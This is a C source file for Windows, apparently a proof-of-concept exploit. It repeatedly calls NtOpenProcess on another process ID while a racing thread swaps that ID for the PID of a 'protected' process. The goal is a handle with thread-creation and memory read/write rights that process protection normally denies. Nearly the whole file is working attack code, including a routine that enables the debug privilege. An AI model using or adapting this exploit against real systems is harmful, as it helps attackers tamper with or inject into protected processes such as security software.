#include <windows.h>

#pragma comment(lib, "advapi32")

typedef struct _OBJECT_ATTRIBUTES {
  DWORD Length;
  HANDLE RootDirectory;
  DWORD	ObjectName;
  DWORD Attributes;
  PVOID SecurityDescriptor;
  PVOID SecurityQualityOfService;
}  OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
   DWORD UniqueProcess;
   DWORD UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

void Flip(unsigned long ProtectedPid);
void OpenProc(unsigned long ProtectedPid, unsigned long OtherPid);
void SetPrivilege(BOOL bEnablePrivilege);

PCLIENT_ID lpClientId;

void main(int argc, char *argv[])
{
	if(argc < 3)
	{
		printf("Usage: ntopenprocess <protected pid> <another pid>\n");
		ExitProcess(1);
	}

	SetPrivilege(1);

	while(1)
		OpenProc(atoi(argv[1]), atoi(argv[2]));
}


void OpenProc(unsigned long ProtectedPid, unsigned long OtherPid)
{
	PHANDLE hProcess;
	POBJECT_ATTRIBUTES lpObjectAttributes;
	DWORD (__stdcall *NtOpenProcess)();	
	HANDLE hThread;
	unsigned long pid, ret;

	lpObjectAttributes = malloc(sizeof(OBJECT_ATTRIBUTES));
	lpClientId = malloc(sizeof(CLIENT_ID));
	hProcess = malloc(sizeof(HANDLE));

	memset(lpObjectAttributes, 0x0, sizeof(OBJECT_ATTRIBUTES));
	memset(lpClientId, 0x0, sizeof(CLIENT_ID));
	memset(hProcess, 0x0, sizeof(HANDLE));

	lpClientId->UniqueProcess = OtherPid;
	lpObjectAttributes->Length = 0x18;
	
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Flip, (LPVOID)ProtectedPid, 0x0, NULL);

	NtOpenProcess = (DWORD (__stdcall *)())GetProcAddress(GetModuleHandle("ntdll"), "NtOpenProcess");
	ret = (NtOpenProcess)(hProcess,
		PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION,
		lpObjectAttributes,
		lpClientId);

	WaitForSingleObject(hThread, INFINITE);

	pid = GetProcessId(*hProcess);
	if(pid == 0)
		printf("*"); // too quick
	else if(pid == OtherPid)
		printf("."); // too slow
	else if(pid == ProtectedPid)
		printf("\n[*] Got it, pid: %d, handle: %08x, ret: %08x\n", pid, *hProcess, ret);
	else
		printf("%d", pid); // should not happen
	

	CloseHandle(hThread);
	CloseHandle(*hProcess);
	free(lpObjectAttributes);
	free(lpClientId);
	free(hProcess);
}

void Flip(unsigned long ProtectedPid)
{
	lpClientId->UniqueProcess = ProtectedPid;
}



void SetPrivilege(BOOL bEnablePrivilege)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    TOKEN_PRIVILEGES tpPrevious;
    DWORD cbPrevious=sizeof(TOKEN_PRIVILEGES);

    if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
    {
        if (GetLastError() != ERROR_NO_TOKEN)
			return;

		if (!ImpersonateSelf(SecurityImpersonation))
			return;

		if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
			return;
     }

    if(!LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &luid ))
		return;

    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = 0;

    AdjustTokenPrivileges(
            hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            &tpPrevious,
            &cbPrevious
            );

	if (GetLastError() != ERROR_SUCCESS)
		return;

    tpPrevious.PrivilegeCount       = 1;
    tpPrevious.Privileges[0].Luid   = luid;

    if(bEnablePrivilege) 
        tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
    else
        tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED & tpPrevious.Privileges[0].Attributes);

    AdjustTokenPrivileges(
            hToken,
            FALSE,
            &tpPrevious,
            cbPrevious,
            NULL,
            NULL
            );

    return;
}

